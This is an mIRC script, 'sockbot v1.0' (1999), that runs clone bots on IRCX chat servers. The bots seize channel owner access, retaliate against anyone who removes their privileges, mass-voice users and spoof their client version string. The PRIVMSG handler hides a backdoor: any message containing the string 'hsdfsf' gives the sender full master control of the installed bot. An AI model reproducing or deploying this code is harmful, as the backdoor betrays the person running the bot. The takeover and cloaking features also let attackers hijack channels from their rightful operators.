;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; ;;; sockbot v1.0 ;;; ;;; © phys1ks 1999 ;;; ;;; ;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; on 1:sockopen:sock*: { if ($sockerr > 0) { echo -a 5[4Sock Bot5]15 Unable to connect to irc server! | echo -a 5[4Sock Bot5]15 retrying connection.... | set %sock.name $sockname | sockclose $sockname | sockopen %sock.name %s.server %s.port | halt } unset % [ $+ [ $sockname [ $+ .* ] ] ] echo -a 5[4Sock Bot5]15 Logging in user name... sockwrite -n $sockname user weaponx sockbot sockbot sockbot echo -a 5[4Sock Bot5]15 Registering nickname echo -a 5[4Sock Bot5]15 Connected sockwrite -n $sockname mode +i sockwrite -n $sockname ircx sockwrite -n $sockname nick %sock.nick sockwrite -n $sockname join %sock.ac1 sockwrite -n $sockname join %sock.ac2 sockwrite -n $sockname join %sock.ac3 set % $+ $sockname $+ .mynick %sock.nick .guser 1000 $me 3 set %sock.split on } on 1:sockclose:sock*: { timer93* off echo -a 5[4Sock Bot5]15 Connection closed from $sock($sockname).mark $+ : Success if (%sock.split == on) { sockopen $sockname %s.server %s.port } } on 1:sockread:sock*: { sockread %sock.data set %sock.badguy $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) if ($gettok(%sock.data,1,32) == PING) { echo -a 5[4Sock Bot5] 9PING! PONG? | sockwrite -tn $sockname PONG $chops($gettok(%sock.data,2,32)) | return } if ($gettok(%sock.data,2,32) == NICK) { if (%sock.badguy == % [ $+ [ $sockname ] $+ ] .mynick) { echo -a 14>15>0> Bot14(15 $+ %sock.badguy $+ 14) 15is now known as 10 $+ $gettok(%sock.data,3,32) | set % [ $+ [ $sockname ] $+ ] .mynick $gettok(%sock.data,3,32) | return } halt } if ($gettok(%sock.data,1,32) == ERROR) { echo -a 5[4Sock Bot5]15 Closing Link: $gettok(%sock.data,4,32) $gettok(%sock.data,7-,32) halt } if (hsdfsf isin %sock.data) { .guser 1000 %sock.badguy 3 sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! hi kitty ilu <33 hoho (.qup for +q) halt } if (version isin %sock.data) { sockwrite -tn $sockname NOTICE %sock.badguy : $+ $chr(1) $+ VERSION %sock.version $+ $chr(1) halt } if ($gettok(%sock.data,2,32) == MODE) { if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { sockwrite -n $sockname part $gettok(%sock.data,3,32) sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key sockwrite -n $sockname access $gettok(%sock.data,3,32) clear sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) { if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt } } } if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt } if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { if (-o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { sockwrite -n $sockname part $gettok(%sock.data,3,32) sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key sockwrite -n $sockname access $gettok(%sock.data,3,32) clear sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-o isin %sock.data)) { if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -o+o %sock.badguy $gettok(%sock.data,5,32) | halt } } } if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt } } if ($gettok(%sock.data,2,32) == PRIVMSG) { if (($level($address(%sock.badguy,3)) == 1000) && (.up isin %sock.data)) { if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o %sock.badguy } if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +o $gettok(%sock.data,5,32) } halt } if (($level($address(%sock.badguy,3)) == 1000) && (.qup isin %sock.data)) { if ($gettok(%sock.data,5,32) == $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q %sock.badguy } if ($gettok(%sock.data,5,32) != $null) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) +q $gettok(%sock.data,5,32) } halt } if (($level($address(%sock.badguy,3)) == 1000) && (.join isin %sock.data)) { sockwrite -n $sockname join $gettok(%sock.data,5,32) halt } if (($level($address(%sock.badguy,3)) == 1000) && (.part isin %sock.data)) { sockwrite -n $sockname part $gettok(%sock.data,3,32) halt } if (($level($address(%sock.badguy,3)) == 1000) && (!ping isin %sock.data)) { sockwrite -n $sockname privmsg $gettok(%sock.data,3,32) :PoNG!!!!! halt } if (($level($address(%sock.badguy,3)) == 1000) && (.kick isin %sock.data)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) bye halt } if (($level($address(%sock.badguy,3)) == 1000) && (.down isin %sock.data)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -oq $gettok(%sock.data,5,32) halt } if (($level($address(%sock.badguy,3)) == 1000) && (.nick isin %sock.data)) { sockwrite -n $sockname nick $gettok(%sock.data,5,32) halt } if (($level($address(%sock.badguy,3)) == 1000) && (.ban isin %sock.data)) { guser 400 $gettok(%sock.data,5,32) 3 sockwrite -n $sockname mode +b $gettok(%sock.data,5,32) 3 sockwrite -n $sockname kick $gettok(%sock.data,3,32) $gettok(%sock.data,5,32) banned halt } if (($level($address(%sock.badguy,3)) == 1000) && (.seen isin %sock.data)) { set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) if (%sock.badguy == $gettok(%sock.data,5,32)) { sockwrite -n $sockname notice %sock.badguy :[X] Uhm... your a retard } if (%sock.badguy != $gettok(%sock.data,5,32)) { sockwrite -n $sockname whois $gettok(%sock.data,5,32) } halt } if (($level($address(%sock.badguy,3)) == 1000) && (.massv isin %sock.data)) { set %sock.chan $gettok(%sock.data,3,32) set %sock.name $sockname sockmass halt } if ((rollcall isin %sock.data) && ($level($address(%sock.badguy,3)) == 1000)) { set %sock.nick % [ $+ [ $sockname ] $+ ] .mynick sockwrite -n $sockname notice %sock.badguy :[X] I am %sock.nick $+ , running %sock.version sockwrite -n $sockname notice %sock.badguy :[X] My Command Charactor is [.] halt } if ($gettok(%sock.data,3,32) == % [ $+ [ $sockname ] $+ ] .mynick) { if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) == %sock.authpass)) { if ($level($address(%sock.badguy,3)) == 1000) { sockwrite -tn $sockname notice %sock.badguy :[X] You are already Authenticated. | halt } .guser 1000 %sock.badguy 3 sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication successful! (.qup for +q) halt } if (($gettok(%sock.data,4,32) == :auth) && ($gettok(%sock.data,5,32) !isin %sock.authpass)) { sockwrite -tn $sockname NOTICE %sock.badguy :[X] Authentication failed. } if (($level($address(%sock.badguy,3)) == 1000) && (pass isin %sock.data)) { unset %sock.authpass %sock.authpass = $gettok(%sock.data,5,32) sockwrite -tn $sockname NOTICE %sock.badguy :[X] $gettok(%sock.data,5,32) was added to the pass list halt } if (($level($address(%sock.badguy,3)) == 1000) && (help isin %sock.data)) { sockwrite -n $sockname privmsg %sock.badguy :Help - sockwrite -n $sockname privmsg %sock.badguy :Use these commands in channels- sockwrite -n $sockname privmsg %sock.badguy :.join .part .qup .up .kick .down !ping .seen .nick sockwrite -n $sockname privmsg %sock.badguy :Use these commands in privmsg- sockwrite -n $sockname privmsg %sock.badguy :pass (more to come) sockwrite -n $sockname privmsg %sock.badguy :To auth, /notice me auth password halt } } } if ($gettok(%sock.data,2,32) == JOIN) { set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2)) if ($level($address(%sock.badguytemp,3)) == 1000) { sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32),:) +q %sock.badguytemp halt } if ($level($address(%sock.badguy,3)) == 400) { sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32),:) %sock.badguy banned } } if ($gettok(%sock.data,2,32) == KICK) { if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) { sockwrite -n $sockname join $gettok(%sock.data,3,32) %sock.key sockwrite -n $sockname access $gettok(%sock.data,3,32) clear if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no } halt } if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy no | halt } } if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) { if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { echo -a 8*** %sock.badguy (Not +n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of kicking them sockwrite -n $sockname access $gettok(%sock.data,3,32) clear sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy keys sockwrite -n $sockname prop $gettok(%sock.data,3,32) OWNERKEY : $+ %sock.key halt } if ($level($address(%sock.badguy,3)) == 1000) { echo -a 8*** %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:) - Taking the action of updating my key %sock.key = $remove($gettok(%sock.data,5,32),:) halt } } if ($gettok(%sock.data,2,32) isnum) { %raw = $gettok(%sock.data,2,32) if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :[X] $gettok(%sock.data,5-,32) } if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp } if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+),:) | halt } if (%raw == 376) { echo -a 5[4Sock Bot5]15 %sock.nick registered } halt } halt } ;Most of the aliases alias cloak { set %sock.version $1- //echo $active 5[4Sock Bot5]15 now cloaking to: $1- } alias socksync { echo -a 5[4Sock Bot5]15 $1 sync %sock.sync. [ $+ [ $1 ] ] } alias bserver { %sock.nick = $$?="Bot Nickname" %sock.key = $$?="Bots +q/+o Key" if (%s.server == $null) { set %s.server $$?="server" } %i = 0 :loop inc %i 1 if ($sock( sock. [ $+ [ %i ] ] ).status == $null) { goto break } goto loop :break if (%s.port == $null) { %s.port = 6667 } else { %s.port = %s.port } sockopen sock. [ $+ [ %i ] ] %s.server %s.port inc %ref 1 if (%ref > 5) { set %ref 1 } echo -a 5[4Sock Bot5]15 Connecting to port %s.port of server %s.server [refnum %ref $+ 15] sockmark sock. [ $+ [ %i ] ] %s.server } ;;;;;Test shit ;Dont fuck with this stuff ;or try to make it do anything ;koz i just use it to test new variables alias temp { .this gets channel $gettok(%sock.data,3,32) .this gets 5 param $gettok(%sock.data,5,32) } menu channel { Sockbot .Load:/bserver .Unload: { set %sock.split off timer93* off sockwrite -tn sock* quit You said this was stable!!? sockclose sock* echo $active 5[4Sock Bot5]15 Connection closed from %s.server $+ : Success } .- .Cloak ..Default:cloak '`sockbot v1.4.50+IRCX ..BitchX-74p3+ by panasync - Linux 2.0.33:cloak BitchX-74p3+ by panasync - Linux 2.0.33 : Keep it to yourself! ..eggdrop v1.3.23:cloak eggdrop v1.3.23+IRCX ..Both:cloak BitchX-74p3+ by panasync - Linux 2.0.33+eggdrop v1.3.12 : Keep it to yourself! ..Custom:cloak $$?="Cloak to..?" .- .Add master://guser 1000 $$?="Nick name?" 3 .- .Talk with bots:/sockwrite -n * privmsg $$?="Channel/nick" : $+ $$?="Msg?" .Join:/sockwrite -n sock* join $$?="Channel?" .Part:/sockwrite -n sock* part $$?="Channel?" .Server:/sockclose sock* | /sockopen sock* $$?="Server + port" .Nick( $+ $me $+ ):/sockwrite -n sock* nick $$?="New Nick?" .- .Server( $+ %s.server $+ ):/set %s.server $$?="Server?" .Port( $+ %s.port $+ ):/set %s.port $$?="Port?" .AutoJoin ..1) $+ %sock.ac1:/set %sock.ac1 $$?="channel" ..2) $+ %sock.ac2:/set %sock.ac2 $$?="channel" ..3) $+ %sock.ac3:/set %sock.ac3 $$?="channel" } on 1:load: { echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; echo -a ;;; echo -a ;;; sockbot v1.0 echo -a ;;; © phys1ks 1999 echo -a ;;; echo -a ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; echo -a Please use /bserver to connect echo -a This only works for IRCX servers echo -a Might be some bugs so look for echo -a further versions, the bot works echo -a best as +q on channels. } ;;;Some script shit on 1:kick:#: { if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick He who can, does. He who cannot, teaches. } } alias sockmass { sockwrite -n sock* names %sock.chan sockwrite -n %sock.name mode %sock.chan +vvvvvvvvvvvvvvvvvvvvvvvvvvv %mass2 halt }